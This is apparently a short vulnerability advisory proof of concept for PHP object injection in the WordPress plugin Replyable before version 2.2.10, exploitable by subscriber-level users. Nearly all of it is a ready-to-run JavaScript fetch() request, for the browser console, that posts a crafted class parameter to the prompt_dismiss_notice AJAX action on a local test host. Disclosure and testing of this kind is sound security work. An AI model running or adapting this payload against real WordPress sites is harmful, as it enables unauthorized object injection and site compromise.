Replyable < 2.2.10 - Subscriber+ PHP Object Injection

Run the below command in the developer console of the web browser while being on the blog as a subscriber user

fetch('http://wpscan.local/wp-admin/admin-ajax.php', {
        method: 'POST',
        headers: new Headers({
            'Content-Type': 'application/x-www-form-urlencoded',
        }),
        body: 'action=prompt_dismiss_notice&class=Malicious'
    }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));